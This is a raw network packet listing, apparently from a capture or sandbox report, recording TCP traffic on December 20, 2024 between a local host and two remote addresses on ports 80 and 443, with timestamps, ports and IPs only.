Dec 20, 2024 04:12:36.798408985 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.798480034 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.798516989 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.798568010 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.799448967 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.799552917 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.799570084 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.799611092 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.800487041 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.800538063 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.800750971 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.800796986 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.801513910 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.801574945 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.801584959 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.801635981 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.802555084 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.802644014 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.802870035 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.803574085 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.803698063 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.804543018 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.805469036 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.942673922 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.942728996 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.942764044 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.942791939 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.943098068 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.943137884 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.943326950 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.943370104 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.944144964 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.944242954 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.944257975 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.944299936 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.945189953 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.945241928 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.945245981 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.945343971 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.946224928 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.946294069 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.946332932 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.946830988 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.946878910 CET	443	49847	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:36.946957111 CET	443	49847	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:36.947010040 CET	49847	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:36.947113037 CET	49847	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:36.947123051 CET	443	49847	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:36.947238922 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.947280884 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.947367907 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.947429895 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.948267937 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.948313951 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.948400974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.948441029 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.949265957 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.949367046 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.949377060 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.949501038 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.950352907 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.950428963 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.950542927 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.950582981 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.951374054 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.951416969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.951479912 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.951522112 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.952451944 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.952497959 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.952532053 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.952579021 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.953422070 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.953471899 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.953538895 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.953629971 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.954452991 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.954493999 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.954579115 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.954633951 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.955490112 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.955540895 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.955596924 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.955638885 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.956512928 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.956554890 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.956573009 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.956605911 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.957555056 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.957606077 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.957642078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.957690001 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.958583117 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.958683968 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.958736897 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.959629059 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.959676027 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.959717989 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.959760904 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.960659981 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.960721016 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.960747957 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.960763931 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.961678028 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.961762905 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.961767912 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.961805105 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.962694883 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.962811947 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.962858915 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.963726044 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.963821888 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.963833094 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.963865995 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.964755058 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.964804888 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.964873075 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.964917898 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.965836048 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.965887070 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.965895891 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.965939999 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.966864109 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.966972113 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.967024088 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.967869997 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.967919111 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.967983007 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.968054056 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.968903065 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.968956947 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.968991995 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.969036102 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.969912052 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.969958067 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.969991922 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.970033884 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.970969915 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.971018076 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.971077919 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.971147060 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.972012997 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.972059011 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.972131968 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.972174883 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.973031998 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.973076105 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.973138094 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.973202944 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.974123001 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.974138975 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.974170923 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.974193096 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.975138903 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.975220919 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.975235939 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.975275993 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.976110935 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.976159096 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.976304054 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.976351976 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.977176905 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.977219105 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.977296114 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.977335930 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.978199005 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.978250980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.978272915 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.978302956 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.979270935 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.979340076 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.979377985 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.979438066 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.980251074 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.980304003 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.980323076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.980359077 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.981266975 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.981290102 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.981326103 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.981344938 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.982307911 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.982331991 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.982356071 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.982422113 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.983324051 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.983422041 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.983433008 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.983479977 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.984373093 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.984419107 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.984563112 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.984690905 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.985377073 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.985519886 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.985554934 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.985594034 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.986439943 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.986479998 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.986547947 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.986583948 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.987473011 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.987541914 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.987582922 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.987633944 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.988487005 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.988533974 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.988553047 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.988584995 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.989547014 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.989636898 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.989636898 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.989682913 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.990570068 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.990746021 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.990789890 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.991595984 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.991636992 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.991657019 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.991692066 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.992609978 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.992650032 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.992690086 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.992765903 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.993649006 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.993695021 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.993756056 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.993794918 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.994690895 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.994745970 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.994787931 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.994890928 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.995718002 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.995816946 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.995846987 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.995862961 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.996723890 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.996764898 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.134716034 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.134808064 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.134839058 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.134923935 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.135211945 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.135341883 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.135381937 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.136269093 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.136308908 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.136399984 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.136576891 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.137330055 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.137371063 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.137449980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.137490034 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.138319016 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.138364077 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.138441086 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.138523102 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.139365911 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.139472008 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.139475107 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.139517069 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.140440941 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.140492916 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.140678883 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.140727043 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.141448021 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.141486883 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.141509056 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.141554117 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.142445087 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.142486095 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.142559052 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.142607927 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.143486023 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.143543959 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.143646955 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.143687963 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.144547939 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.144619942 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.144646883 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.144700050 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.145558119 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.145593882 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.145663023 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.145699024 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.146622896 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.146666050 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.146742105 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.146780968 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.147618055 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.147711992 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.147753954 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.148642063 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.148694038 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.148705006 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.148744106 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.149666071 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.149718046 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.149830103 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.149909019 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.150702000 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.150737047 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.150815010 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.150851011 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.151771069 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.151849031 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.151911974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.151961088 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.152848005 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.152965069 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.153007030 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.153783083 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.153821945 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.153889894 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.153956890 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.154822111 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.154858112 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.154921055 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.154982090 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.155853033 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.155905008 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.155941963 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.156048059 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.156891108 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.156970978 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.157001019 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.157053947 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.157913923 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.157955885 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.157969952 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.158106089 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.158952951 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.159051895 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.159059048 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.159086943 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.159986019 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.160036087 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.160126925 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.160255909 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.161024094 CET	80	49838	31.41.244.11	192.168.2.4
